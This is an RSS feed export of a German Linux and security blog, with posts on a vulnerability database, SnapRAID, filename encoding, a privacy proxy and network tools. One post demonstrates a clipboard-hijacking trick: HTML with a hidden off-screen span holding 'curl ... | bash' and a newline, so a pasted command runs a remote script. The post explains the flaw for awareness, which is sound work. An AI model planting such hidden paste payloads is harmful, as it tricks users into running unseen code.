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	<title>Falk Husemanns Blog</title>
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		<title>Kurztip: HPI-VDB Schwachstellen-Suchmaschine &amp; -Datenbank</title>
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		<pubDate>Fri, 14 Jun 2013 11:46:58 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Penetrationstests]]></category>
		<category><![CDATA[Sicherheit]]></category>

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		<description><![CDATA[Wer regelmäßig nach Schwachstellen recherchieren muss, braucht eine schnelle, umfassende und relevante Suchmaschine um schnell im Rahmen eines Penetrationstests bekannte Schwachstellen finden zu können. Bisher gab es ein großes Angebot an mehr oder weniger vernetzten Datenbanken wie die OSVDB oder die NVD-Datenbank des NIST. Darüber hinaus gibt es die Exploit-Database von Offensive Security, die sich [...]<div class='yarpp-related-rss'>

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</ol>
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				<content:encoded><![CDATA[<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2013/06/Bildschirmfoto-09.06.2013-132116.png"><img src="http://falkhusemann.de/blog/wp-content/uploads/2013/06/Bildschirmfoto-09.06.2013-132116-300x50.png" alt="Bildschirmfoto - 09.06.2013 - 13:21:16" width="300" height="50" class="aligncenter size-medium wp-image-2495" /></a></p>
<p>Wer regelmäßig nach Schwachstellen recherchieren muss, braucht eine schnelle, umfassende und relevante Suchmaschine um schnell im Rahmen eines Penetrationstests bekannte Schwachstellen finden zu können. Bisher gab es ein großes Angebot an mehr oder weniger vernetzten Datenbanken wie die <a href="http://www.osvdb.org/">OSVDB</a> oder die <a href="http://nvd.nist.gov/">NVD-Datenbank des NIST</a>. Darüber hinaus gibt es die <a href="http://www.exploit-db.com/">Exploit-Database von Offensive Security</a>, die sich durch direkt verlinkte Exploits zu den Schwachstellen abhebt.</p>
<p>Das Hasso-Plattner-Institut hat die Vulnerability Database VDB veröffentlicht, die viele Datenbanken zusammenfassen soll. Die Nutzung ist nach einer Registrierung ohne Realdaten kostenlos.</p>
<p><strong>Wie hilfreich ist die Datenbank für Penetrationstester?</strong></p>
<p>Die HPI-VDB hat nicht den Anspruch die Exploit-DB zu ersetzen, direkte Links zu den zugehörigen Exploits gibt es nicht. Da es sich um eine reine Schwachstellen-Datenbank handelt, muss sich die VDB aber auch nicht mit Exploit-Datenbanken messen. Bleibt die Suchfunktion, um im Rahmen der Informationsbeschaffung erkannte Programme und Versionsnummern mit Schwachstellen zu korrelieren.</p>
<p>Und genau dort bietet die VDB bereits einen sehr praktischen Vorteil. Eine <strong>funktionierende Freitext-Suche</strong>. Und <strong>schnell ist die Suche</strong>, was rein subjektiv betrachtet bei anderen Datenbanken zu Stoßzeiten nicht immer der Fall ist. </p>
<p>Darüber hinaus bietet die VDB Vor- und Nachbedingungen in einem XML-Format, die maschinell ausgewertet werden können. <a href="https://www.hpi-vdb.de/vulndb/faq/">Zugang zu einer API</a> ist auf Anfrage per E-Mail laut FAQ möglich. Folgend zwei Screenshots der Datenbank (der zweite ist gekürzt).</p>
<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2013/06/Bildschirmfoto-14.06.2013-134104.png"><img src="http://falkhusemann.de/blog/wp-content/uploads/2013/06/Bildschirmfoto-14.06.2013-134104-300x221.png" alt="Bildschirmfoto - 14.06.2013 - 13:41:04" width="300" height="221" class="aligncenter size-medium wp-image-2506" /></a></p>
<p><a href="http://falkhusemann.de/blog/wp-content/uploads/2013/06/Bildschirmfoto-14.06.2013-134238.png"><img src="http://falkhusemann.de/blog/wp-content/uploads/2013/06/Bildschirmfoto-14.06.2013-134238-300x257.png" alt="Bildschirmfoto - 14.06.2013 - 13:42:38" width="300" height="257" class="aligncenter size-medium wp-image-2509" /></a></p>
<p>Habt ihr die VDB schon ausprobiert? Was haltet ihr von dem Projekt?</p>
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		</item>
		<item>
		<title>Dateinamen in UTF8 konvertieren</title>
		<link>http://falkhusemann.de/blog/2013/05/dateinamen-in-utf8-konvertieren/</link>
		<comments>http://falkhusemann.de/blog/2013/05/dateinamen-in-utf8-konvertieren/#comments</comments>
		<pubDate>Thu, 30 May 2013 11:03:31 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

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		<description><![CDATA[Für bestimmte Programme ist es notwendig, UTF8 als Locale zur Zeichenkodierung im System einzusetzen, um Umlaute korrekt darzustellen. Eines davon ist Sickbeard. Wie aber findet man die aktuell verwendete Locale heraus? Ein kurzes Pythonskript hilft. Eine Ausgabe sieht wie folgt aus. Dabei gibt der Wert in Klammern die Wahrscheinlichkeit des angegebenen Zeichensatzes an. Um alle [...]<div class='yarpp-related-rss yarpp-related-none'>

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				<content:encoded><![CDATA[<p>Für bestimmte Programme ist es notwendig, <a href="https://de.wikipedia.org/wiki/UTF-8">UTF8</a> als <a href="http://de.wikipedia.org/wiki/Locale#POSIX">Locale</a> zur Zeichenkodierung im System einzusetzen, um Umlaute korrekt darzustellen. Eines davon ist <a href="http://sickbeard.com/">Sickbeard</a>. Wie aber findet man die aktuell verwendete Locale heraus? Ein kurzes Pythonskript hilft.</p>
<pre class="brush: python; title: Quelltext; notranslate">
#!/usr/bin/python
import chardet
import os

for n in os.listdir('.'):
    print '%s =&gt; %s (%s)' % (n, chardet.detect(n)['encoding'], chardet.detect(n)['confidence'])
</pre>
<p>Eine Ausgabe sieht wie folgt aus. Dabei gibt der Wert in Klammern die Wahrscheinlichkeit des angegebenen Zeichensatzes an.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
secops_wascii_asd.odt =&gt; ascii (1.0)
client_übergabe.odt =&gt; EUC-JP (0.99)
pg_seminar1_präsentation.odp =&gt; EUC-KR (0.99)
</pre>
<p>Um alle Dateinamen in einem Verzeichnis einheitlich in einen Zeichensatz zu konvertieren, bietet sich das Programm <tt>convmv</tt> an, das wie folgt installiert werden kann.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
apt-get install convmv
</pre>
<p>Im ersten Schritt wird <tt>convmv</tt> im Simulationsmodus aufgerufen, um die neuen Dateinamen prüfen zu können. Sind die neuen Dateinamen in Ordnung, können sie übernommen werden.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
convmv -f iso-8859-2 -t utf8 ./*.txt
convmv -f iso-8859-2 -t utf8 ./*.txt --notest
</pre>
<p>Nach Abschluss der Konvertierung bleibt die Umstellung des voreingestellten Zeichensatzes des Systems.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
dpkg-reconfigure locales
</pre>
<p>Dort wird <em>de_DE@UTF8</em> ausgewählt.</p>
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		</item>
		<item>
		<title>SnapRAID unter Debian installieren</title>
		<link>http://falkhusemann.de/blog/2013/04/snapraid-unter-debian-installieren/</link>
		<comments>http://falkhusemann.de/blog/2013/04/snapraid-unter-debian-installieren/#comments</comments>
		<pubDate>Mon, 29 Apr 2013 15:31:11 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

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		<description><![CDATA[SnapRAID ist ein nicht standardisiertes RAID-Verfahren. Wie der Name andeutet, handelt es sich um ein Snapshot-RAID, ähnlich zu FlexRAID. Der Autor charakterisiert es im Vergleich zu herkömmlichen RAID-Produkten dadurch, dass die Paritätsdaten nicht in Echtzeit aktualisiert werden. Dadurch ergeben sich besonders für Anwendungen die nicht unter Dauerlast stehen interessante Möglichkeiten. Praktisch funktioniert SnapRAID wie ein [...]<div class='yarpp-related-rss'>

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]]></description>
				<content:encoded><![CDATA[<p><a href="http://falkhusemann.de/blog/2013/04/snapraid-unter-debian-installieren/index/" rel="attachment wp-att-2369"><img class="alignleft size-full wp-image-2369" alt="index" src="http://falkhusemann.de/blog/wp-content/uploads/2013/04/index.png" width="325" height="71" /></a><br />
<strong><a href="http://snapraid.sourceforge.net/">SnapRAID</a> ist ein nicht standardisiertes RAID-Verfahren</strong>. Wie der Name andeutet, handelt es sich um ein Snapshot-RAID, ähnlich zu <a href="http://flexraid.com/">FlexRAID</a>.</p>
<p>Der Autor charakterisiert es im Vergleich zu herkömmlichen <a href="http://de.wikipedia.org/wiki/RAID">RAID</a>-Produkten dadurch, dass die <strong>Paritätsdaten nicht in Echtzeit aktualisiert</strong> werden. Dadurch ergeben sich besonders für Anwendungen die nicht unter Dauerlast stehen interessante Möglichkeiten.</p>
<p>Praktisch funktioniert SnapRAID wie ein RAID4 mit separater Paritätsdaten-Festplatte, deren Inhalt nur bei Bedarf aktualisiert wird. <strong>Dadurch ist SnapRAID zwischen herkömmlichen RAID-Systemen und Backups einzuordnen</strong>. Angesprochen werden SnapRAID-Volumes ähnliche wie JBOD-Konfigurationen, also jede Festplatte einzeln.</p>
<p>Im Unterschied zur kommerziellen Lösung FlexRAID bietet SnapRAID nur die Snapshot-Funktion. Es gibt seit <a href="http://snapraid.git.sourceforge.net/git/gitweb.cgi?p=snapraid/snapraid;a=blob;f=HISTORY;hb=HEAD">Version 3.0 zwar eine Pooling-Funktion</a>, um die einzelnen Festplatten als ein großes Volume ins Betriebssystem abzubilden, diese ist aber noch nicht ausgereift und verwendet symbolische Links. Auch Monitoring-Funktionen oder die Aufgabenplanung für die Erstellung von Snapshots oder eine grafische Oberfläche sucht man vergeblich. Diese <strong>Einfachheit ist sehr lobenswert</strong> und entspricht der <a href="http://de.wikipedia.org/wiki/Unix-Philosophie">UNIX-Philosophie</a>.</p>
<p>Eine Konsequenz daraus ist, dass zwar <strong>keine Steigerung des Maximaldurchsatzes</strong> durch Lesen von mehreren Festplatten erreicht wird, dafür aber auch immer nur die Festplatten laufen müssen, von denen aktiv gelesen wird. In einem Fileserver mit mehreren dutzend Festplatten spart diese Eigenschaft eine Menge Strom.</p>
<p>In der Praxis werden alle Festplatten einzeln mit einem Dateisystem formatiert und eingebunden.</p>
<p>Diese Eigenschaft hilft auch beim Ausfall mehrerer Festplatten. SnapRAID kann sowohl mit einer als auch mit zwei Fesplatten für Paritätsdaten betrieben werden. Je nachdem dürfen dann eine oder zwei Festplatten ausfallen. Ein Vorteil der einzelnen Formatierung gegenüber herkömmlichen RAID-Verbünden ist, dass <strong>auch bei Ausfall mehrerer Festplatten die Daten von den intakten Festplatten weiterhin gelesen werden können</strong>.</p>
<p>Ein ausführlicher Vergleich verschiedener RAID-Systeme sowie den beliebten Volume-Managern ZFS und BTRFS <a href="http://snapraid.sourceforge.net/compare.html">bietet der Autor hier an</a>. Fragen zu speziellen Funktionen von SnapRAID werden <a href="http://snapraid.sourceforge.net/faq.html">hier beantwortet</a>.</p>
<h3>Installation</h3>
<p>Leider stehen noch keine Debian-Pakete für SnapRAID zur Verfügung, sodass das Programm per Hand kompiliert werden muss. Das geht mit dem Werkzeug <tt>checkinstall</tt>, dass ein rudimentäres Debian-Paket erstellt, leicht von der Hand.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
apt-get install build-essential checkinstall
cd /usr/local/src/
wget -O snapraid.tar.gz http://sourceforge.net/projects/snapraid/files/snapraid-3.0.tar.gz/download
tar xvzf snapraid.tar.gz
cd snapraid-3.0/
./configure &amp;&amp; make &amp;&amp; make check
</pre>
<p>Nach Ausführung der Tests sollte folgende Bestätigung für das erfolgreiche Durchlaufen erscheinen.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
No error
echo Success!
Success!
make[1]: Leaving directory `/usr/local/src/snapraid-3.0'
</pre>
<p>Daraufhin kann SnapRAID und die SnapRAID-Konfiguration installiert werden.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
checkinstall make install
cp snapraid.conf.example /etc/snapraid.conf
</pre>
<h3>Konfiguration</h3>
<p>Die Einrichtung eines SnapRAID-Volumes ist denkbar einfach über die Konfigurationsdatei <tt>/etc/snapraid.conf</tt> zu steuern. Hier ein Beispiel als Vorlage.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
# Paritaetsdaten-Datei auf eigener Festplatte
parity /storage/b2c07a05-a3e7-44ca-bc7a-1d29a0a2258a_parity/parity

# Hash-Indizes-Datei auf jeder nicht-Paritaetsdaten Festplatten
content /storage/03e2a8fb-be5d-4791-a1d0-e42597771e57/.content
content /storage/3c2b7a4d-aad1-4731-afac-51c163349726/.content
content /storage/82191233-42e8-4cca-8f6d-ba9e0376e5e0/.content
content /storage/a3a5b302-9c69-465d-a910-839abd3fc553/.content

# Angabe der Namen und Pfade zu den Daten-Festplatten
disk 03e2a8fb-be5d-4791-a1d0-e42597771e57 /storage/03e2a8fb-be5d-4791-a1d0-e42597771e57/
disk 3c2b7a4d-aad1-4731-afac-51c163349726 /storage/3c2b7a4d-aad1-4731-afac-51c163349726/
disk 82191233-42e8-4cca-8f6d-ba9e0376e5e0 /storage/82191233-42e8-4cca-8f6d-ba9e0376e5e0/
disk a3a5b302-9c69-465d-a910-839abd3fc553 /storage/a3a5b302-9c69-465d-a910-839abd3fc553/

exclude *.bak
exclude *.unrecoverable
exclude /tmp/
exclude /lost+found/

block_size 256
</pre>
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		</item>
		<item>
		<title>Hacking mit der Linux Zwischenablage</title>
		<link>http://falkhusemann.de/blog/2013/04/hacking-mit-der-linux-zwischenablage-und-firefox/</link>
		<comments>http://falkhusemann.de/blog/2013/04/hacking-mit-der-linux-zwischenablage-und-firefox/#comments</comments>
		<pubDate>Thu, 25 Apr 2013 13:33:08 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Penetrationstests]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Sicherheit]]></category>

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		<description><![CDATA[Ein auf Heise vorgestellter Copy&#38;Paste Trick hat meine Aufmerksamkeit erregt. Dort wird beschrieben, wie durch Setzen eines &#60;span&#62;-Elements, dass in einen nicht sichtbaren Bereich verschoben wird, ahnungslosen Linux-/BSD-Nutzern Code untergeschoben werden kann. Der Trick funktioniert bei erschreckend vielen Browsern, wie ein kurzer Test zeigte. Die getesteten Browser waren: Firefox 20 Firefox 23.0a1 Opera 12.02 Opera [...]<div class='yarpp-related-rss'>

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				<content:encoded><![CDATA[<p>Ein auf <a href="http://heise.de/-1842691">Heise vorgestellter Copy&amp;Paste Trick</a> hat meine Aufmerksamkeit erregt. Dort wird beschrieben, wie durch Setzen eines <tt>&lt;span&gt;</tt>-Elements, dass in einen nicht sichtbaren Bereich verschoben wird, ahnungslosen Linux-/BSD-Nutzern Code untergeschoben werden kann. Der Trick funktioniert bei erschreckend vielen Browsern, wie ein kurzer Test zeigte.</p>
<p>Die getesteten Browser waren:</p>
<ul>
<li>Firefox 20</li>
<li>Firefox 23.0a1</li>
<li>Opera 12.02</li>
<li>Opera 12.15</li>
<li>Chromium 25.0.1364.160</li>
</ul>
<p>Jeweils mit <tt>xterm</tt> und dem <tt>XFCE Terminal</tt> in Version <i>0.4.8</i> unter verschiedenen Ubuntu-Versionen.</p>
<p>Entscheidend für die Effektivität des Tricks ist, dass die kopierten Befehle beim Einfügen unmittelbar ausgeführt werden. Dafür muss nur sichergestellt werden, dass ein <a href="http://en.wikipedia.org/wiki/Newline">Newline-Zeichen</a> mit in der Zwischenablage landet. Ergänzt man den Tip von Heise durch ein solches Zeichen und fügt dem untergeschobenen Befehl ein <a href="http://linux.die.net/man/1/clear">clear</a> an, wird der Tip direkt doppelt nützlich.</p>
<h4>Beispiele</h4>
<p>Hier zwei Varianten, die das gewünschte Ergebnis liefern.</p>
<pre class="brush: xml; title: Quelltext; notranslate">
&lt;html&gt;
&lt;!-- notice the newline after the hidden command inserted using a html &lt;br&gt;  --&gt;
&lt;p&gt;&lt;pre&gt;echo&lt;span style=&quot;position: absolute; left: -1000px; top: -1000px&quot;&gt; &quot;&quot;; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo &lt;br&gt;&lt;/span&gt; Hallo Welt!&lt;br&gt;&lt;/pre&gt;&lt;/p&gt;
&lt;/html&gt;
</pre>
<pre class="brush: xml; title: Quelltext; notranslate">
&lt;html&gt;
&lt;!-- notice the newline after the hidden command inserted using a raw newline --&gt;
&lt;p&gt;&lt;pre&gt;echo&lt;span style=&quot;position: absolute; left: -1000px; top: -1000px&quot;&gt; &quot;&quot;; curl -s http://localhost/runfunnycommands.txt | bash; clear; echo
&lt;/span&gt; Hallo Welt!&lt;br&gt;&lt;/pre&gt;&lt;/p&gt;
&lt;/html&gt;
</pre>
<h4>Ergebnis</h4>
<p>Bei Auswahl des scheinbar harmlosen Textes aus dem ersten Bild und Übertragung in einen Terminal-Emulator mittels mittlerer Maustaste oder STRG-V werden direkt Befehle ausgeführt.</p>
<p><a href="http://falkhusemann.de/blog/2013/04/hacking-mit-der-linux-zwischenablage-und-firefox/bildschirmfoto-25-04-2013-152313/" rel="attachment wp-att-2339"><img class="aligncenter size-full wp-image-2339" alt="Bildschirmfoto - 25.04.2013 - 15:23:13" src="http://falkhusemann.de/blog/wp-content/uploads/2013/04/Bildschirmfoto-25.04.2013-152313.png" width="124" height="34" /></a> <a href="http://falkhusemann.de/blog/2013/04/hacking-mit-der-linux-zwischenablage-und-firefox/bildschirmfoto-25-04-2013-152500/" rel="attachment wp-att-2338"><img class="aligncenter size-full wp-image-2338" alt="Bildschirmfoto - 25.04.2013 - 15:25:00" src="http://falkhusemann.de/blog/wp-content/uploads/2013/04/Bildschirmfoto-25.04.2013-152500.png" width="527" height="186" /></a></p>
<hr />
<b>UPDATE:</b> Danke für die Unterstützung durch weitere Tests und die beiden Hinweise auf meine Fehler in der ersten Version dieses Posts. Als die Aufmerksamkeit zu Ende ging, war noch soviel Tag übrig.</p>
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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></content:encoded>
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		</item>
		<item>
		<title>No-Logging Elite-Proxy an der TU-Dortmund</title>
		<link>http://falkhusemann.de/blog/2013/04/no-logging-elite-proxy-an-der-tu-dortmund/</link>
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		<pubDate>Mon, 22 Apr 2013 11:56:24 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Anonymität]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[Sicherheit]]></category>
		<category><![CDATA[TCP/IP]]></category>

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		<description><![CDATA[Normalerweise berichte ich nicht über die Dienste, die ich im Rahmen meiner Arbeit bei der Informatik-Rechner-Betriebsgruppe an der Fakultät für Informatik betreue. Das liegt daran, dass ich annehme, dass jeder Leser meines Blogs mit der Administration von Server-Diensten im produktiven Betrieb vertraut ist. Nichts spannendes, also. Seit einigen Wochen läuft aber ein Privatsphären-Proxy (ugs. &#8220;Elite [...]<div class='yarpp-related-rss'>

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</div>
]]></description>
				<content:encoded><![CDATA[<p><br />
Normalerweise berichte ich nicht über die Dienste, die ich im Rahmen meiner Arbeit bei der <a href="http://irb.cs.tu-dortmund.de/cont/de/home/index.html">Informatik-Rechner-Betriebsgruppe</a> an der <a href="http://www.cs.tu-dortmund.de/nps/de/Home/">Fakultät für Informatik</a> betreue. Das liegt daran, dass ich annehme, dass jeder Leser meines Blogs mit der Administration von Server-Diensten im produktiven Betrieb vertraut ist. Nichts spannendes, also.</p>
<p>Seit einigen Wochen läuft aber ein Privatsphären-Proxy (ugs. &#8220;Elite Proxy&#8221;) statt des bisher betriebenen Proxys <a href="http://irb.cs.tu-dortmund.de/cont/de/home/aktuelles/index.html">im Rechnerraum der IRB</a>. </p>
<p><center><br />
<h3><a href="http://proxy.cs.tu-dortmund.de">proxy.cs.tu-dortmund.de</a></h3>
<p>(Aus dem Fakultäts-Netzwerk erreichbar)</center></p>
<blockquote><p>
<strong>Elite Proxy</strong><br />
Ein Elite Proxy ist ein Proxy-Server, der sich nicht als Proxy zu erkennen gibt und für Webserver nur mit der eigenen IP-Adresse und nicht mit der IP-Adresse des Proxy-Nutzers in Erscheinung tritt.<br />
<em>(Quellen <a href="http://www.proxy-listen.de/Tutorials/Unterschiede-zwischen-Elite-Anonymen-und-Transparenten-Proxy-Servern.html">hier</a>, <a href="http://anondat.com/proxy-anonym-surfen">hier</a> und <a href="http://en.wikipedia.org/wiki/Proxy_server#Accessing_services_anonymously">hier</a>.)</em>
</p></blockquote>
<p>Die Architektur unseres Proxys an der IRB geht aber einen Schritt weiter, als einfache Elite Proxys und gesteht den Nutzern weitere Anonymität zu. Dafür betreiben wir eine Proxykaskade aus <a href="http://www.squid-cache.org/">Squid</a> und <a href="http://www.privoxy.org/">Privoxy</a>, die im Vergleich zu einem herkömmlichen Proxy-Server wie folgt aussieht.</p>
<p><a href="http://falkhusemann.de/blog/2013/04/no-logging-elite-proxy-an-der-tu-dortmund/eliteprox_irb/" rel="attachment wp-att-2283"><img src="http://falkhusemann.de/blog/wp-content/uploads/2013/04/eliteprox_irb.png" alt="eliteprox_irb" width="396" height="381" class="aligncenter size-full wp-image-2283" /></a></p>
<p>Deutlich zu erkennen sind die Unterschiede im Speicher-Subsystem und dem vorgeschalteten Privoxy. Die speziellen technischen Unterschiede sind in meinem <a href="http://www.linux-magazin.de/Ausgaben/2012/03/Privoxy">Linux Magazin Artikel</a> <a href="http://proxy.cs.tu-dortmund.de/intern/squid_privoxy_blinddate.pdf">(lokale Kopie, nur Fakultäts-Netzwerk)</a> beschrieben.</p>
<h2>Squid</h2>
<p>Der Squid-Proxy verhält sich in Voreinstellung konform zum <a href="http://de.wikipedia.org/wiki/X-Forwarded-For">Pseudostandard</a> und sendet bei jeder Anfrage einen X-Forwarded-For Header, der die IP-Adresse des anfragenden Clients enhtält. <strong>Hierdurch wird die Anonymität aufgelöst</strong>. Darum wird in unserer Proxykaskade dieser Header gelöscht, sowie weitere Header die Informationen über den anfragenden Nutzer oder die anfragende IP enthalten entweder gesperrt oder verfremdet. Squid bietet für den Zweck nur die Möglichkeit, einen Header zu sperren, oder weiterzuleiten.</p>
<h2>Privoxy</h2>
<p>Um Privatsphäre ohne Einbuße von Komfort bereitstellen zu können, ist Privoxy notwendig. Der Header <a href="http://de.wikipedia.org/wiki/Referrer#Beispiel_einer_HTTP-Anfrage_mit_Referrer-.C3.9Cbergabe">HTTP_REFER</a> sendet dem Webserver in einer Anfrage die vorher aufgerufene Webseite. </p>
<p>Wechselt der Nutzer aber von einem Webshop-System auf die Suchmaschine Google, ist die Suchmaschine dank HTTP_REFERER in der Lage, die vorher aufgerufene URL zu speichern.</p>
<p>Die Auswertung des Referers wird von einigen Webseiten benötigt, um korrekt zu funktionieren, darum ist eine Sperrung nicht möglich. Dazu gehören Onlinebanking- und Webshop-Systeme. Da der Referer zum Ausspähen des Nutzers mißbraucht werden kann, wenn die Domain gewechselt wird, sperrt Privoxy nur in diesem Fall den Referer und setzt ihn auf die Domain der aufgerufenen Webseite.</p>
<h2>Speicher-Subsystem</h2>
<p>Der Squid-Proxy speichert in Voreinstellung umfangreiche Logdaten zur Anfrage, wie zum Beispiel die komplette URL mit etwaigen GET-Parametern, sowie die anfragende IP-Adresse und den verwendeten Browser. Darüber hinaus wird über eine zweite Logdatei aufgezeichnet, welches Objekt im Cache von welcher IP-Adresse zuerst angefragt wurde. So ist mit der Voreinstellung eine <strong>lückenlose Überwachung aller Nutzer möglich</strong>. Auch dieses Verhalten ist für einen Privatsphären-Proxy nicht wünschenswert.</p>
<p><strong>Darum sind Logfiles komplett deaktiviert</strong>. Es werden nur Key Performance Indicators in einer Datenstruktur im Arbeitsspeicher vorgehalten, die das verursachte Datenvolumen den IP-Adressen zuordnen. </p>
<p>Der Cache ist darüber hinaus mit einem Zufallschlüssel in <a href="http://de.wikipedia.org/wiki/Advanced_Encryption_Standard">AES</a> verschlüsselt, der bei jedem Neustart neu erzeugt wird, um auch eine statistische Zuordnung von verursachtem Datenvolumen zu Objekten (und damit aufgerufenen Webseiten) im Cache zu verhindern.</p>
<p>Um trotzdem im Falle eines Missbrauchs handlungsfähig zu bleiben, kann der komplette Datenverkehr eines Nutzers bei begründetem Verdacht protokolliert werden, ohne andere Nutzer zu beeinträchtigen.</p>
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		<title>S.M.A.R.T mit Toshiba STOR.E ALU</title>
		<link>http://falkhusemann.de/blog/2013/04/s-m-a-r-t-mit-toshiba-stor-e-alu/</link>
		<comments>http://falkhusemann.de/blog/2013/04/s-m-a-r-t-mit-toshiba-stor-e-alu/#comments</comments>
		<pubDate>Sat, 13 Apr 2013 17:55:42 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Debian]]></category>
		<category><![CDATA[Hacks]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>

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		<description><![CDATA[Kurzer Hinweis für das Auslesen der S.M.A.R.T Werte der per USB 3.0/2.0 anbindbaren Toshiba STOR.E ALU Festplatten-Serie. Es erscheint unter Linux bei Einsatz der smartmontool die Fehlermeldung Unknown USB bridge [0x0930:0x0b1a (0x001)]. Durch Wahl des Gerätetype (in diesem Fall sat) lässt sich das Gerät ansprechen und wie gewohnt auslesen.<div class='yarpp-related-rss yarpp-related-none'>

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				<content:encoded><![CDATA[<p>Kurzer Hinweis für das Auslesen der <a href="http://de.wikipedia.org/wiki/S.M.A.R.T.">S.M.A.R.T</a> Werte der per USB 3.0/2.0 anbindbaren <a href="http://www.toshiba.de/hard-drives/portable/store-alu-2/">Toshiba STOR.E ALU Festplatten-Serie</a>. Es erscheint unter Linux bei Einsatz der <i>smartmontool</i> die Fehlermeldung <b><tt>Unknown USB bridge [0x0930:0x0b1a (0x001)]</tt></b>.</p>
<p>Durch Wahl des Gerätetype (in diesem Fall <i>sat</i>) lässt sich das Gerät ansprechen und wie gewohnt auslesen.</p>
<pre class="brush: plain; title: Quelltext; notranslate">
smartctl --all -d sat /dev/sda
</pre>
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		<title>Bidirektionale IP-Benchmarks mit iperf durch NAT-Gateways</title>
		<link>http://falkhusemann.de/blog/2013/03/bidirektionale-ip-benchmarks-mit-iperf-durch-nat-gateways/</link>
		<comments>http://falkhusemann.de/blog/2013/03/bidirektionale-ip-benchmarks-mit-iperf-durch-nat-gateways/#comments</comments>
		<pubDate>Mon, 25 Mar 2013 12:39:23 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Maximaldurchsatz]]></category>
		<category><![CDATA[Netzwerk Management]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[benchmark]]></category>
		<category><![CDATA[iperf]]></category>
		<category><![CDATA[maximaldurchsatz]]></category>

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		<description><![CDATA[Um die Geschwindigkeit der Anbindung zwischen zwei Punkten im Internet zu messen wird der Benchmark iperf eingesetzt. Leider beinhaltet dieser in der Standardversion keine Möglichkeit als Client auch Daten zu empfangen und so nicht nur den Upload vom Client zum Server, sondern auch den Download vom Server zum Client zu messen. Matt Tierney stellt in [...]<div class='yarpp-related-rss'>

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]]></description>
				<content:encoded><![CDATA[<p>Um die Geschwindigkeit der Anbindung zwischen zwei Punkten im Internet zu messen wird der Benchmark <a href="http://sourceforge.net/projects/iperf/">iperf</a> eingesetzt. Leider beinhaltet dieser in der Standardversion keine Möglichkeit als Client auch Daten zu empfangen und so nicht nur den Upload vom Client zum Server, sondern auch den Download vom Server zum Client zu messen. Matt Tierney stellt in seinem <a href="https://github.com/tierney/iperf">GitHub-Repository</a> eine mit dem <a href="http://www.loria.fr/~lnussbau/files/iperf-reverse-mode.patch">Patch von Prof. Lucas Nussbaum</a> (iperf reverse mode) versehene iperf Version zur Verfügung, die dieses Problem löst.</p>
<p>Diese gepatchtet Version ist sehr empfehlenswert. Zusammengefasst <strong>kann damit in beide Richtungen der Maximaldurchsatz gemessen werden, ohne im Router zuhause Ports öffnen zu müssen</strong>. Das neue <tt>--reverse</tt> Flag macht es möglich.</p>
<p>&nbsp;</p>
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</ol>
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		</item>
		<item>
		<title>Unitymedia DOCSIS Segmentauslastung mit Munin und DVB-C USB Stick messen</title>
		<link>http://falkhusemann.de/blog/2013/03/unitymedia-docsis-segmentauslastung-mit-munin-und-dvb-c-usb-stick-messen/</link>
		<comments>http://falkhusemann.de/blog/2013/03/unitymedia-docsis-segmentauslastung-mit-munin-und-dvb-c-usb-stick-messen/#comments</comments>
		<pubDate>Sun, 17 Mar 2013 14:52:14 +0000</pubDate>
		<dc:creator>josen</dc:creator>
				<category><![CDATA[Netzwerk Management]]></category>
		<category><![CDATA[Planet Ubuntu]]></category>
		<category><![CDATA[TCP/IP]]></category>
		<category><![CDATA[Uncategorized]]></category>

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		<description><![CDATA[Als Anfang Dezember 2012 meine Kabel-Internet Anbindung in Kernzeiten unter die vom Provider nach DIN Norm 66274-2 versprochenen 75MBit/sec sank wollte ich wissen, warum. Da der Provider keine genaueren technischen Details zur Funktion des eingesetzten DOCSIS 3.0 System bietet, habe ich mich selbst informiert und im Anschluss ein munin Plugins entwickelt. Das Plugin erzeugt die folgenden [...]<div class='yarpp-related-rss'>

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</ol>
<img src='http://yarpp.org/pixels/a0f8a0e4a5facdaafa5b0df1e6ba7338'/>
</div>
]]></description>
				<content:encoded><![CDATA[<p>Als Anfang Dezember 2012 meine Kabel-Internet Anbindung in Kernzeiten unter die vom <a href="http://app.unitymedia.de/service/index.html/faqs/a63225db-0af9-4536-98cf-85f9c713bc8f">Provider nach DIN Norm 66274-2 versprochenen</a> 75MBit/sec sank wollte ich wissen, warum. Da der Provider keine genaueren technischen Details zur Funktion des eingesetzten DOCSIS 3.0 System bietet, habe ich mich selbst informiert und im Anschluss ein munin Plugins entwickelt. Das Plugin erzeugt die folgenden Graphen und bietet die folgenden Detailinformationen:</p>
